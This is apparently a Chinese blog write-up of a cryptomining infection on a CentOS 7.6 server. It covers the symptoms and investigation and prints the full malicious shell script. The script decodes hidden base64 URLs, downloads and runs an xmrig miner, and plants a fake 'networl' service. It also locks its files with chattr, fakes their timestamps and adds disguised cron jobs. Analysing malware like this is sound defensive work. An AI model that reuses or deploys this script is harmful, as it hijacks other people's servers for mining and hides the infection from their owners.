Linux(CentOS 7.6)一次病毒处理过程

1，现象

（1）内存方面

服务器内存异常，没有跑程序，却占用了10多个G。

（2）网络方面

netstat -anpt发现有很多SYN_SENT

2，调查

（1）查看临时目录下是否有异常文件：无

/tmp/

/var/tmp/

（2）查看是否有curl或wget命令，很多脚本通过curl和wget执行攻击

果然有发现，此处没有截图记录，是在ps和top时偶然发现有异常curl命令。

（3）发现daemon进程及木马脚本

根据(2)中的pid，找到了父进程，是一个名为daemon的程序文件。

3，研究

脚本内容：

bash 复制代码

#!/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
Default_target_dir='/boot/app'
xmrig_file=("$Default_target_dir/app" "app")
xmrig_config_file=("$Default_target_dir/config.json" "config.json")
process_file=("/usr/local/lib/lib.so" "lib.so")
daemon_file=("/usr/bin/daemon" "daemon")
if [ "$(command -v systemctl|wc -l)" -eq 1 ];then
        server_file=("/etc/systemd/system/networl.service" "networl.service")
else
        server_file=("/etc/init.d/networl" "networl")
fi

c1='aHR0cDovL2h0dHAuZmFsbGVuYW5nZWxzLnRvcC85NTI3Lw=='
c2='aHR0cHM6Ly9naXRodWIuY29tL0MzUG9vbC94bXJpZy1DMy9yZWxlYXNlcy9kb3dubG9hZC92Ni4xNi4yLUMyL3htcmlnLXY2LjE2LjItQzItbGludXgtU3RhdGljLnRhci5neg=='

dlf(){
        if [ "$(command -v curl|wc -l)" -eq 1 ]; then
        curl -f -o "$1" "$2" --user-agent 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'
    elif [ "$(command -v wget|wc -l)" -eq 1 ]; then
        wget -O "$1" "$2" --user-agent='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'
    fi
}

Process_Survival(){
        cpu_user=$(echo $[100-$(vmstat 1 2|tail -1|awk '{print $15}')])
        if [[ $cpu_user -lt 50 ]];then nohup sudo ${xmrig_file[0]} -c "${xmrig_config_file[0]}" &>/dev/null
        fi
}

if [[ $(curl -sIL -w "%{http_code}\n" -o /dev/null $(echo $c1 | base64 -d)) -eq 200 ]]; then
        File_servers_url=$(echo $c1 | base64 -d)
elif [[ $(curl -sIL -w "%{http_code}\n" -o /dev/null $(echo $c2 | base64 -d)) -eq 200 ]]; then
        File_servers_url=$(echo $c2 | base64 -d)
fi

echo "f5904138cd2dee499012a0c535ce976424615814eba01a3daa92d20b524352a4  ${xmrig_file[0]}" | sha256sum -c --quiet
if [[ $? -eq 1 ]]; then
        mkdir -p $Default_target_dir
        eval tf="/var/tmp/$(head /dev/urandom | tr -dc A-Za-z0-9|head -c $(shuf -i 4-7 -n 1))"
        eval td="/var/tmp/$(head /dev/urandom | tr -dc A-Za-z0-9|head -c $(shuf -i 2-7 -n 1))"
        chattr -aui ${xmrig_file[0]} >/dev/null 2>&1
        dlf "$tf" $File_servers_url/${xmrig_file[1]} &>/dev/null
        if [[ $File_servers_url == $(echo $c2 | base64 -d) ]]; then
                mkdir -p $td
                tar xf ${tf} --strip-components=1 -C ${td} >/dev/null 2>&1
                mv -f ${td}/*mr*g $xmr_file >/dev/null 2>&1
        else
                mv -f ${tf} ${xmrig_file[0]} >/dev/null 2>&1
        fi
        rm -rf ${td} ${tf}
        chmod 755 ${xmrig_file[0]} &>/dev/null
    chown 0:0 ${xmrig_file[0]} &>/dev/null
    touch -amr "$(find /usr/bin -type f|shuf -n1)" ${xmrig_file[0]} &>/dev/null
    chattr +ai ${xmrig_file[0]} &>/dev/null
    pkill -9 -f ${xmrig_file[0]} &>/dev/null
    sysctl -w vm.nr_hugepages=128 >/dev/null 2>&1
        Process_Survival
fi

if [[ ! -f ${xmrig_config_file[0]} ]]; then
        chattr -aui ${xmrig_config_file[0]} >/dev/null 2>&1
        dlf ${xmrig_config_file[0]} $File_servers_url/${xmrig_config_file[1]} &>/dev/null
        chmod 755 ${xmrig_config_file[0]} &>/dev/null
    chown 0:0 ${xmrig_config_file[0]} &>/dev/null
    touch -amr "$(find /usr/bin -type f|shuf -n1)" ${xmrig_config_file[0]} &>/dev/null
    chattr +ai ${xmrig_config_file[0]} &>/dev/null
fi

if [[ ! -f ${server_file[0]} ]]; then
        dlf ${server_file[0]} $File_servers_url/${server_file[1]} &>/dev/null
        chmod 755 ${server_file[0]}
    chown 0:0 ${server_file[0]}
    touch -amr "$(find /usr/bin -type f|shuf -n1)" ${server_file[0]}
    chattr +ai ${server_file[0]}
        service networl start &>/dev/null || systemctl start ${server_file[1]} &>/dev/null
fi

if [[ ! -f ${daemon_file[0]} ]]; then
        dlf ${daemon_file[0]} $File_servers_url/${daemon_file[1]} &>/dev/null
        chmod 755 ${daemon_file[0]}
    chown 0:0 ${daemon_file[0]}
    touch -amr "$(find /usr/bin -type f|shuf -n1)" ${daemon_file[0]}
    chattr +ai ${daemon_file[0]}
fi

if [[ ! -f ${process_file[0]} ]]; then
        dlf ${process_file[0]} $File_servers_url/${process_file[1]} &>/dev/null
        chmod 755 ${process_file[0]}
    chown 0:0 ${process_file[0]}
    touch -amr "$(find /usr/bin -type f|shuf -n1)" ${process_file[0]}
    chattr +ai ${process_file[0]}
fi

is_exist_plan=$(grep "${daemon_file[1]}" /var/spool/cron/root -c || grep "/${daemon_file[1]}" /var/spool/cron/crontabs/root -c)
if [[ $is_exist_plan -lt 1 ]]; then
        (crontab -l;printf "0 */6 * * *  ${daemon_file[0]};\r%100c\n")|crontab -
        (crontab -l;printf "@reboot root  ${daemon_file[0]};\r%100c\n")|crontab -
fi

chkconfig ${server_file[1]} on &>/dev/null || systemctl enable ${server_file[1]} &>/dev/null
Process_Survival

可以看到伪装了服务：

当然 /usr/bin/daemon文件设置了文件隐藏属性：